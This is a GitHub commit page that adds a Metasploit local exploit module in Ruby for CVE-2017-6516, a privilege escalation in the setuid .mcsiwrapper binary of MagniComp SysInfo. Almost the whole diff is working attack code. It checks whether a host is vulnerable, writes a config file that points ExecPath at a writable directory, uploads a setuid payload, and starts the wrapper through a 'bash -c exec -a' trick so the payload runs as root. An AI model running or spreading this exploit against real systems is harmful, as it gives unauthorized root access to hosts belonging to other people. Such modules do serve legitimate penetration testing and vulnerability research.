Skip to content

Commit 41dbae2

Browse files
committed
Add MagniComp SysInfo mcsiwrapper Privilege Escalation exploit
1 parent c9473f8 commit 41dbae2

File tree

1 file changed

+165
-0
lines changed

1 file changed

+165
-0
lines changed
Lines changed: 165 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,165 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Local
7+
Rank = ExcellentRanking
8+
9+
include Msf::Post::File
10+
include Msf::Exploit::EXE
11+
include Msf::Exploit::FileDropper
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'MagniComp SysInfo mcsiwrapper Privilege Escalation',
16+
'Description' => %q{
17+
This module attempts to gain root privileges on systems running
18+
MagniComp SysInfo versions prior to 10-H64.
19+
20+
The .mcsiwrapper suid executable allows loading a config file using the
21+
'--configfile' argument. The 'ExecPath' config directive is used to set
22+
the executable load path. This module abuses this functionality to set
23+
the load path resulting in execution of arbitrary code as root.
24+
25+
This module has been tested successfully with SysInfo version
26+
10-H63 on Fedora 20 x86_64 and 10-GA on Solaris 10u11 x86.
27+
},
28+
'License' => MSF_LICENSE,
29+
'Author' =>
30+
[
31+
'Daniel Lawson', # Discovery and exploit
32+
'Romain Trouve', # Discovery and exploit
33+
'Brendan Coles' # Metasploit
34+
],
35+
'DisclosureDate' => 'Sep 23 2016',
36+
'Platform' => %w(linux solaris),
37+
'Arch' => [ ARCH_X86, ARCH_X64 ],
38+
'SessionTypes' => [ 'shell', 'meterpreter' ],
39+
'Targets' =>
40+
[
41+
[ 'Automatic', { } ],
42+
[ 'Solaris', { 'Platform' => 'solaris', 'Arch' => ARCH_X86 } ],
43+
[ 'Linux', { 'Platform' => 'linux', 'Arch' => [ ARCH_X86, ARCH_X64 ]} ]
44+
],
45+
'References' =>
46+
[
47+
[ 'CVE', '2017-6516' ],
48+
[ 'BID', '96934' ],
49+
[ 'URL', 'http://www.magnicomp.com/support/cve/CVE-2017-6516.shtml' ],
50+
[ 'URL', 'https://labs.mwrinfosecurity.com/advisories/magnicomps-sysinfo-root-setuid-local-privilege-escalation-vulnerability/' ],
51+
[ 'URL', 'https://labs.mwrinfosecurity.com/advisories/multiple-vulnerabilities-in-magnicomps-sysinfo-root-setuid/' ]
52+
]
53+
))
54+
register_options(
55+
[
56+
OptString.new('SYSINFO_DIR', [ true, 'Path to SysInfo directory', '/opt/sysinfo' ]),
57+
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
58+
])
59+
end
60+
61+
def sysinfo_dir
62+
datastore['SYSINFO_DIR']
63+
end
64+
65+
def check
66+
unless cmd_exec("test -d #{sysinfo_dir} && echo true").include? 'true'
67+
vprint_good "Directory '#{sysinfo_dir}' does not exist"
68+
return CheckCode::Safe
69+
end
70+
vprint_good "Directory '#{sysinfo_dir}' exists"
71+
72+
mcsiwrapper_path = "#{sysinfo_dir}/bin/.mcsiwrapper"
73+
unless setuid? mcsiwrapper_path
74+
vprint_error "#{mcsiwrapper_path} is not setuid"
75+
return CheckCode::Safe
76+
end
77+
vprint_good "#{mcsiwrapper_path} is setuid"
78+
79+
bash_path = cmd_exec 'which bash'
80+
unless bash_path.start_with?('/') && bash_path.include?('bash')
81+
vprint_error 'bash is not installed. Exploitation will fail.'
82+
return CheckCode::Safe
83+
end
84+
vprint_good 'bash is installed'
85+
86+
config_version = cmd_exec "grep ProdVersion= #{sysinfo_dir}/config/mcsysinfo.cfg"
87+
version = config_version.scan(/^ProdVersion=(\d+-H\d+|\d+-GA)$/).flatten.first
88+
if version.blank?
89+
vprint_error 'Could not determine the SysInfo version'
90+
return CheckCode::Detected
91+
end
92+
if Gem::Version.new(version.sub('-H', '.')) >= Gem::Version.new('10.64')
93+
vprint_error "SysInfo version #{version} is not vulnerable"
94+
return CheckCode::Safe
95+
end
96+
vprint_good "SysInfo version #{version} is vulnerable"
97+
98+
CheckCode::Vulnerable
99+
end
100+
101+
def upload(path, data)
102+
print_status "Writing '#{path}' (#{data.size} bytes) ..."
103+
rm_f path
104+
write_file path, data
105+
register_file_for_cleanup path
106+
end
107+
108+
def mkdir(path)
109+
vprint_status "Creating '#{path}' directory"
110+
cmd_exec "mkdir -p #{path}"
111+
register_dir_for_cleanup path
112+
end
113+
114+
def exploit
115+
check_status = check
116+
if check_status != CheckCode::Vulnerable && check_status != CheckCode::Detected
117+
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
118+
end
119+
120+
# Set target
121+
uname = cmd_exec 'uname'
122+
vprint_status "Operating system is #{uname}"
123+
if target.name.eql? 'Automatic'
124+
case uname
125+
when /SunOS/i
126+
my_target = targets[1]
127+
when /Linux/i
128+
my_target = targets[2]
129+
else
130+
fail_with Failure::NoTarget, 'Unable to automatically select a target'
131+
end
132+
else
133+
my_target = target
134+
end
135+
print_status "Using target: #{my_target.name}"
136+
137+
# Check payload
138+
if (my_target['Platform'].eql?('linux') && payload_instance.name !~ /linux/i) ||
139+
(my_target['Platform'].eql?('solaris') && payload_instance.name !~ /solaris/i)
140+
fail_with Failure::BadConfig, "Selected payload '#{payload_instance.name}' is not compatible with target operating system '#{my_target.name}'"
141+
end
142+
143+
# Create a working directory
144+
base_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric rand(5..10)}"
145+
mkdir base_path
146+
147+
# Write config file
148+
config_path = "#{base_path}/#{rand_text_alphanumeric rand(5..10)}"
149+
upload config_path, "ExecPath=#{base_path}"
150+
151+
# Upload payload
152+
payload_name = rand_text_alphanumeric rand(5..10)
153+
payload_path = "#{base_path}/#{payload_name}"
154+
upload payload_path, generate_payload_exe
155+
cmd_exec "chmod u+sx '#{payload_path}'"
156+
157+
print_status 'Executing payload...'
158+
159+
# Executing .mcsiwrapper directly errors:
160+
# Command ".mcsiwrapper" cannot start with `.' or contain `/'.
161+
# Instead, we execute with bash to replace ARGV[0] with the payload file name
162+
output = cmd_exec "bash -c \"exec -a #{payload_name} #{sysinfo_dir}/bin/.mcsiwrapper --configfile #{config_path}&\""
163+
output.each_line { |line| vprint_status line.chomp }
164+
end
165+
end

0 commit comments

Comments
 (0)